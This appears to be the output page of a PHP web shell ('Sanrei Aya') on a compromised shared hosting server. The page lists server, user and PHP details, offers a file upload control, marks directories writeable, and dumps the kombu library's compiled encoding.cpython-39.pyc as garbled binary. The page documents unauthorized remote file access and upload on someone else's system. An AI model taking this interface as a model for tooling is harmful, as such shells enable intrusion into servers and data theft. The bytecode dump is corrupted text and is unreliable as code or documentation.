Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /usr/local/lib/python3.9/site-packages/kombu/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.9/site-packages/kombu/utils/__pycache__/encoding.cpython-39.pyc
a

��Sh��@s�dZddlmZddlZddlZdadd�Zdd�Zej�	d�rLdd	d
�Z
n
ddd
�Z
dd
�Zdd�Zdd�Z
dd�Zdd�Zddd�Zd dd�Zd!dd�ZdS)"z�Text encoding utilities.

Utilities to encode text, and to safely emit text from running
applications without crashing from the infamous
:exc:`UnicodeDecodeError` exception.
�)�annotationsNcCs|adS)z'Set file used to get codec information.N��default_encoding_file��file�r�>/usr/local/lib/python3.9/site-packages/kombu/utils/encoding.py�set_default_encoding_filesr	cCstS)z'Get file used to get codec information.rrrrr�get_default_encoding_filesr
�javacCsdS)�Get default encoding.zutf-8rrrrr�default_encoding sr
cCs|pt�}t|dd�pt��S)r�encodingN)r
�getattr�sys�getfilesystemencodingrrrrr
%s
cCst|t�r|��S|S)zConvert str to bytes.)�
isinstance�str�encode��srrr�str_to_bytes+s
rcCst|t�r|jdd�S|S)zConvert bytes to str.�replace)�errors)r�bytes�decoderrrr�bytes_to_str2s
rcOs|S)zGet str from utf-8 encoding.r)r�args�kwargsrrr�	from_utf89srcCst|t�st|�S|S)zEnsure s is bytes, not str.)rrrrrrr�ensure_bytes>s
r cCs|S)zEncode using default encoding.r)�objrrr�default_encodeEsr"rcCs*t|�}t|ttf�s t||�St||�S)z+Safe form of str(), void of unicode errors.)rrrr�	safe_repr�	_safe_str)rrrrr�safe_strJs
r%cCs^t|t�r|Sz
t|�WStyX}z(d�t|�|d�t����WYd}~Sd}~00dS)Nz!<Unrepresentable {!r}: {!r} {!r}>�
)rr�	Exception�format�type�join�	traceback�format_stack)rrr�excrrrr$Rs

�r$cCs,z
t|�WSty&t||�YS0dS)z*Safe form of repr, void of Unicode errors.N)�reprr'r$)�orrrrr#\s
r#)N)N)r)rN)r)�__doc__�
__future__rrr+rr	r
�platform�
startswithr
rrrr r"r%r$r#rrrr�<module>s"




Yohohohohohooho | Sanrei Aya